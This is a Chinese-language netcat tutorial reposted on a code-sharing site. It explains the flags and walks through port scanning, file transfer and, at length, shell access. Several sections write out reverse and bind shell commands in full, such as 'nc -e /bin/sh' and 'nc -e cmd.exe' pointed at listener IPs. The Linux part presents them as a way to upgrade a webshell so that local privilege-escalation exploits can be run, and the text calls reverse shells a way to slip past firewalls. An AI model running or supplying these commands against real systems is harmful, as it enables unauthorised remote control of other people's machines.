NC使用教程


NetCat參數說明:

主要參數:

-c shell commands	 與`-e’一樣效果(use /bin/sh to exec )

-e filename      	程序重定向

-d                 無命令行界面,使用后台模式

 -i <延遲秒數>      設置時間間隔,以便傳送信息及掃描通信端口;

-l                 監聽模式,用於入站連接 

-L                監聽模式,連接關閉后仍然繼續監聽,直到CTR+C 

-n                IP地址,不能用域名 

-o <文件名>       記錄16進制的傳輸 

-p <端口>          本地端口號 

-r                隨機本地及遠程端口 

-s <地址>         設置本地主機送出數據包的IP地址

-t                使用Telnet交互方式 

-T tos            set Type Of Service

-u                UDP模式 

-v                詳細輸出,用-vv將更詳細 

-w <數字>          timeout延時間隔 

-z                 將輸入,輸出關掉(用於掃錨時) 

一般netcat做的最多的事情為以下三種:

  • 掃描指定IP端口情況

  • 端口轉發數據(重點)

  • 提交自定義數據包

1、掃描常用命令。

以下IP 處可以使用域名,nc會調用NDS解析成IP地址。

nc -v ip port            #掃瞄某 IP 的某個端口,返回端口信息詳細輸出。如:nc -v 96.44.174.9 80
nc -v -z ip port-port            #掃描某IP的端口段,返回端口信息詳細輸出,但掃描速度很慢。如:nc -v -z 96.44.174.9 80-1024
nc -v -z -u ip port-port            #掃描某 IP 的某 UDP 端口段,返回端口信息詳細輸出,但掃描速度很慢。如:nc -v -z -u 96.44.174.9 25-1024
nc -nvv -w2 -z ip port-port            #掃錨某IP的端口段,連接超時時間為2秒。如:nc -nvv -w2 -z 96.44.174.9 80-1024

2、監聽端口、連接端口、轉發端口常用命令。

nc -l -p 520            #開啟本機的 TCP 520 端口並監聽次端口的上傳輸的數據。
nc -l -v -p 520            #開啟本機的 TCP 520 端口並將監聽到的信息輸出到當前 CMD 窗口。這個命令也是端口轉發shell的基礎。
nc -l -p 520 > C:/log.dat            #開啟本機的 TCP 520 端口並將監聽到的信息輸出到 C:/log.dat 下的日志文件里。
nc -nvv 192.168.1.101 520            #連接到192.168.1.101主機的 520。
  • 重點一(正向連接):*
nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe            #遠程運行
nc -nvv 192.168.1.101 2012            #本地運行

【解釋】采用正向連接方式,遠程主機(注:假設IP地址為 192.168.1.101)上運行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠程主機的 CMD 到2012 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell ;在本地主機上運行 nc -nvv 192.168.1.101 2012 用於連接已經將 CMD 重定向到 2012 端口的遠程主機(注:假設IP地址為 192.168.1.101)。

  • 重點二(反向連接):*
nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012            #遠程運行
nc -l &ndash;vv -p 2012            #本地運行

【解釋】采用反向連接方式,先在本地主機(擁有公網IP)運行 nc -l –vv -p 2012 開啟2012 端口並監聽等待遠程主機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.102 2012 將遠程主機的 CMD 重定向到 IP 地址為 192.168.1.102 端口號為2012 的主機上,連接成功后 IP 地址為 192.168.1.102 的主機會得到一個CMD Shell。

總結:這個情況是最常用的內網端口轉發功能,這樣反彈shell即可執行命令。反向連接就是常用的反彈shell到本地,因為由主機主動發送的情況本地防火牆等設備一般不會去攔截,而正向連接到遠程主機的某端口常常被攔截。

3、提交數據、文件傳輸常用命令

nc -vv IP port < C:/http.txt            #提交http.txt內數據包到www.91ri.org的80端口,-vv參數會使速度變慢,但可以跟蹤過程。例如IISput漏洞就可以自定義數據包使用此方法提交。如:nc -vv www.91ri.org 80 < C:/http.txt
nc -v -n ip port < C:/sunzn.exe            #本地運行
nc -v -l -p port > D:/sunzn.exe           #遠程運行

【解釋】在本地運行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內容,並把這些數據發送到遠程主機的對應端口上(注:命令行中的 IP 為接收文件的遠程主機 IP ),在遠程主機運行 nc -v -l -p port > D:/sunzn.exe 意為監聽對應端口並把接收到的信息數據寫到 D:/sunzn.exe 中,兩行命令實現了文件在本地主機和遠程主機間的傳輸。

傳輸http數據包實例:


Linux環境下netcat使用

好東西肯定需要在不同的環境中都能使用,在linux環境中同樣有着netcat可以使用。主要過程如下:

Linux提權絕大部分都靠的是Local Exploit。WebShell一般都可以執行命令,但是溢出必須在可交互環境運行,否則如果直接在WebShell執行,即使能溢出提權成功,也沒法利用。因此必須要反彈一個Shell命令行窗口,在命令行終端下執行溢出進行提權。

主要步驟:

1、wget一個tar壓縮的nc

Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz

2、解壓文件

tar zxvf netcat-0.7.1.tar.gz

3、解壓完畢之后會生成目錄

cd netcat-0.7.1

4、配置環境

./configure

5、配置完了之后就可以編譯了。

make

6、編譯成功就生成了netcat可執行的文件了,位於src目錄,cd進去進行運行./netcat文件就是我們的nc了。

遠程Linux轉發命令

./netcat 8.8.8.8 1234 -e /bin/sh

基本用法:

  • 連接到192.168.0.1主機的80端口

    nc -nvv 192.168.0.1 80
    
  • 開啟本機的TCP 80端口並監聽

    nc -l -p 80 
    
  • 掃錨192.168.0.1的80-1024端口

    nc -nvv -w2 -z 192.168.0.1 80-1024
    
  • 綁定remote主機的cmdshell在remote的TCP 5354端口

    nc -l -p 5354 -t -e c:winntsystem32cmd.exe
    
  • 綁定remote主機的cmdshell並反向連接192.168.0.2的5354端口

    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354
    

高級用法:

  • 開啟並不停地監聽80端口,直到CTR+C為止

    nc -L -p 80 
    
  • 開啟並不停地監聽80端口,直到CTR+C,同時把結果輸出到c:\log.txt

    nc -L -p 80 > c:\log.txt 作為蜜罐用2
    
  • 開啟並不停地監聽80端口,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用

    nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1
    
  • 開啟並不停地監聽80端口,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用

    type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2
    
  • 開啟並不停地監聽本機端口,直到CTR+C為止

    nc -l -p 本機端口 
    
  • 在對方 win2000+主機上用:

    nc -e cmd.exe 本機IP -p 本機端口
    
  • linux,unix上,反向連接突破對方主機的防火牆

    nc -e /bin/sh 本機IP -p 本機端口 
    
  • 本機上用

    nc -d -l -p 本機端口 < 要傳送的文件路徑及名稱 
    
  • 在對方主機上用

    nc -vv 本機IP 本機端口 > 存放文件的路徑及名稱 傳送文件到對方主機 
    

備 注:

< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令

@ 表示執行@后面的命令,但不會顯示出來(后台執行);例:@dir c:\winnt >> d:\log.txt 意思是:后台執行dir,並把結果存在d:\log.txt中

“>”與“>>”的區別 :">"指:覆蓋;">>"指:保存到(添加到)。

如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM